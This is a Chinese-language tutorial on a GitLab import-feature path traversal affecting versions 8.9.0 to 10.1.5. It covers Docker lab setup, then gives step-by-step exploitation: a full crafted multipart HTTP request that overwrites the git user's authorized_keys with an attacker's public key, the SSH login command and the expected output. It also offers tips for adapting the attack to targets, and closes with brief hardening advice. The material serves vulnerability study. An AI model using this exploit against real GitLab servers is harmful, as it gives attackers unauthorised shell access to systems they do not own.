Gitlab远程代码执行漏洞
字数 1292 2025-08-10 23:41:58

GitLab远程代码执行漏洞分析与利用教学

漏洞概述

本漏洞是GitLab中的一个高危安全漏洞,允许攻击者通过目录遍历和任意文件写入实现远程代码执行。漏洞存在于GitLab的导入功能中,影响范围较广。

影响版本

  • GitLab CE and EE 8.9.0 - 9.5.10
  • GitLab CE and EE 10.0.0 - 10.1.5

漏洞原理

漏洞位置

漏洞位于app/services/projects/gitlab_project_import_service.rb文件中,具体在GitlabProjectsImportService类的实现中。

漏洞成因

  1. 未过滤的路径参数import_upload_path方法将未经过滤的params[:path]参数直接拼接到GitLab上传目录路径中
  2. 目录遍历:由于路径参数未过滤,攻击者可以通过../等方式实现目录遍历
  3. 任意文件写入:文件内容没有限制,导致可以写入任意内容到任意位置

利用方式

通过覆盖/var/opt/gitlab/.ssh/authorized_keys文件,写入攻击者的公钥,从而以git用户身份SSH登录服务器。

环境搭建

使用Docker搭建漏洞环境

docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22 gitlab/gitlab-ce:10.2.4-ce.0

配置GitLab

  1. 进入容器:
docker exec -it gitlab /bin/bash
  1. 修改配置文件:
nano /etc/gitlab/gitlab.rb

取消注释并修改external_url为你的IP地址:

external_url '192.168.1.100'
  1. 重新加载配置:
gitlab-ctl reconfigure
  1. 访问http://192.168.1.100/,首次访问需要设置密码并创建用户

漏洞利用步骤

准备工作

  1. 生成SSH密钥对(用于攻击):
ssh-keygen

这将生成id_rsa(私钥)和id_rsa.pub(公钥)

利用过程

  1. 登录GitLab
  2. 创建项目 -> Import project -> GitLab Import -> 选择文件
  3. URL应为:ip+/import/gitlab_project/new?namespace_id=2&path=
  4. 选择前面生成的公钥文件(id_rsa.pub)
  5. 点击"Import project"时拦截请求(使用Burp Suite等工具)
  6. 修改path参数值为:ssh/var/opt/gitlab/.ssh/authorized_keys

请求示例

POST /import/gitlab_project HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=20787582420424
Content-Length: 1214
Referer: http://192.168.1.100/import/gitlab_project/new?namespace_id=2&path=
Cookie: _gitlab_session=9c5f21dbfe98d90b1d992e1c9907584c; sidebar_collapsed=false
Connection: close
Upgrade-Insecure-Requests: 1

--20787582420424
Content-Disposition: form-data; name="utf8"

✓
--20787582420424
Content-Disposition: form-data; name="authenticity_token"

JoWtToPxTJL6RVASaprnR1hRqEGARnbLkA06favQLxQ7Y7YtyqfE9+JsbV/NAwy7XAdTuzgRsxJ/Kl1hH9V6xA=
--20787582420424
Content-Disposition: form-data; name="namespace_id"

{:value=>2}
--20787582420424
Content-Disposition: form-data; name="path"

ssh/var/opt/gitlab/.ssh/authorized_keys
--20787582420424
Content-Disposition: form-data; name="namespace_id"

2
--20787582420424
Content-Disposition: form-data; name="file"; filename="id_rsa.pub"
Content-Type: application/vnd.ms-publisher

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+McaRvLdnm+u30cACV4ftHJUESNVNV/VNlwm5xST343cFQODjBua5ffpCgDIejiVhyz9BzMmmynN5tnN6JQlx4SwSGkuR3+wzbJ8XKJNHLpOeZ2Xzw+UA9duDinDQHUklFwDmjH7Pywy6kRurIWXTsdupkLrHobEjSjrwEkqvLUnRi1EA/nU5es+kEz6c04jDUrZoGaj5GiI7VYReX+d9Pm524H9KfBpFIZ27yaWs1lR9b+dXjbXnUdysKdWTQcwy1tv+xhEbwF9m/PQajAEPPl95u/qrGPMqT0l08dC6H9o50i9Yn0Yf3t946g4QjGBs+GZgaNoLda8d5U5S8XLz BF@DESKTOP-4UM7GF4
--20787582420424--

验证利用

使用生成的私钥以git用户身份SSH登录服务器:

ssh -i id_rsa git@192.168.1.100 -p 2222

成功登录后可以执行命令验证:

id

预期输出:

uid=998(git) gid=998(git) groups=998(git)

常见问题解决

  1. 版本确认:首先访问ip+/help确认GitLab版本是否在受影响范围内
  2. 路径问题:如果目标服务器更改了默认的git用户目录,需要修改path参数为对应的用户目录
  3. 权限问题:确保攻击账户有import project的权限

安全建议

  1. 升级GitLab:及时升级到安全版本
  2. 权限控制:严格控制具有导入项目权限的用户
  3. 监控措施:监控对authorized_keys文件的修改
  4. 生产环境警告:此漏洞利用会覆盖原git用户的authorized_keys文件,在生产环境测试需谨慎

参考链接

GitLab远程代码执行漏洞分析与利用教学 漏洞概述 本漏洞是GitLab中的一个高危安全漏洞,允许攻击者通过目录遍历和任意文件写入实现远程代码执行。漏洞存在于GitLab的导入功能中,影响范围较广。 影响版本 GitLab CE and EE 8.9.0 - 9.5.10 GitLab CE and EE 10.0.0 - 10.1.5 漏洞原理 漏洞位置 漏洞位于 app/services/projects/gitlab_project_import_service.rb 文件中,具体在 GitlabProjectsImportService 类的实现中。 漏洞成因 未过滤的路径参数 : import_upload_path 方法将未经过滤的 params[:path] 参数直接拼接到GitLab上传目录路径中 目录遍历 :由于路径参数未过滤,攻击者可以通过 ../ 等方式实现目录遍历 任意文件写入 :文件内容没有限制,导致可以写入任意内容到任意位置 利用方式 通过覆盖 /var/opt/gitlab/.ssh/authorized_keys 文件,写入攻击者的公钥,从而以git用户身份SSH登录服务器。 环境搭建 使用Docker搭建漏洞环境 配置GitLab 进入容器: 修改配置文件: 取消注释并修改 external_url 为你的IP地址: 重新加载配置: 访问 http://192.168.1.100/ ,首次访问需要设置密码并创建用户 漏洞利用步骤 准备工作 生成SSH密钥对(用于攻击): 这将生成 id_rsa (私钥)和 id_rsa.pub (公钥) 利用过程 登录GitLab 创建项目 -> Import project -> GitLab Import -> 选择文件 URL应为: ip+/import/gitlab_project/new?namespace_id=2&path= 选择前面生成的公钥文件( id_rsa.pub ) 点击"Import project"时拦截请求(使用Burp Suite等工具) 修改 path 参数值为: ssh/var/opt/gitlab/.ssh/authorized_keys 请求示例 验证利用 使用生成的私钥以git用户身份SSH登录服务器: 成功登录后可以执行命令验证: 预期输出: 常见问题解决 版本确认 :首先访问 ip+/help 确认GitLab版本是否在受影响范围内 路径问题 :如果目标服务器更改了默认的git用户目录,需要修改 path 参数为对应的用户目录 权限问题 :确保攻击账户有 import project 的权限 安全建议 升级GitLab :及时升级到安全版本 权限控制 :严格控制具有导入项目权限的用户 监控措施 :监控对 authorized_keys 文件的修改 生产环境警告 :此漏洞利用会覆盖原git用户的 authorized_keys 文件,在生产环境测试需谨慎 参考链接 GitLab 10.3.4 Security Release